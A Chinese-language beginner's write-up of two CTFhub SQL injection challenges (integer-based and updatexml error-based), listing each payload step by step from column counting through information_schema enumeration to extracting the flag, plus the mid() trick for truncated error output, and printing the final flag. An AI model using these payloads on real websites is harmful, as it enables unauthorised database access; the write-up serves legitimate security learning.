整数型注入
在CTFhub上的一道整数型注入的题,刚接触SQL注入,这也是我第一次做整数型注入的题,做个记录。
开启环境:
先判断是否存在注入
payload:
?id=1 and 1=1
payload:
?id=1 and 1=2
证明存在注入,那就搞它!
输入1试试,有回显。
判断字段数 payload:
?id=1 order by 1
再输入2,3挨个试
payload:
?id=1 order by 3
发现这里报错了,所以判断字段数只有2
爆数据库:payload:
?id=1 and 1=2 union select 1,database()
爆出数据库名为sqli
爆表名:
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
爆出两个表,一个news
一个flag
很明显,flag就藏在这里了。
爆字段名:
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
字段名还是flag
最后一步爆值:
payload:
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
flag出来了。get!!!
报错注入
报错注入就是通过反馈出来的错误来获取到我们所需要的信息。
updatexml报错注入
这是我在网上了解到的一种报错注入方式。报错注入原来有好多种办法,这里主要解释这个updatexml报错注入,先介绍updatexml报错的原理:我是一个小白,也不懂什么是updataxml函数,网上查呗看了好几篇博客,也没搞明白updataxml函数,大家写的都一样,反正就是在脚本之家上找到了原版
Xpath 语法是要单独去学的,不过没必要,了解一下就行(我是了解都没了解,直接记的。🤣🤣🤣我懒,嫌麻烦。)
然后看到了示例的updataxml函数语句,我疑问更多了。
payload:
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
呐,我更疑惑了,一看这句,不知道有没有跟我内心活动相同的。(我*,0x7e又是什么????上面还有好多没搞明白的,又来一个。*****直接口吐芬芳)
0x7e
我查的是在SQL中的报错什么的,我也不明白,有兴趣的可以百度看看。看的头懵。
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数如果不是Xpath格式,而是我们想要获得的数据,那么它就会报错,并且在报错的时候会将错的内容显示出来,然后我们就可以获得我们想要的数据了。原理差不多就是这个。
算啦,实在搞不明白不搞了,直接用吧
实战CTFhub的题
开启环境(熟门熟路,不知道开过几次了,看大佬的博客一看就会,一做就废。😥😥😥关键是这玩意而氪金)
那就输入1试试,查询正确了
之前没有做过报错的题,这是第一个!!!
该用到updatexml函数了payload:
?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
不出所料得到了我们想要的数据库名sqli
继续payload:
?id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1));
信息显示sqli下的两个表是news
和flag
payload:
id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1));
payload:
id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));
查询出来flag了,不过好像不完整。有一个坑????why。
心态崩了啊。还要再查,查查查………………烦,不过还好找到了,xpath报错只显示32位结果然后要用到另一个函数mid。**需要借助mid函数来进行字符截取从而显示32位以后的数据。**找找mid函数的用法(因为大佬没有解释,只说了怎么用。)还是亲爱的度娘比较贴心。😭😭😭😭
好嘞,这下就懂了。可以继续了,what??环境到期了,😭😭😭又要花金币。赶紧的,不磨蹭了。
payload:
id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));
最后汇总flag:ctfhub{21129dbb7c5caaba20b91e9f8d3018104fe54fcd}
呼……真巴适哈哈哈。
最后再附上大佬博客十种MySQL报错注入
还有这个CTF中的SQL注入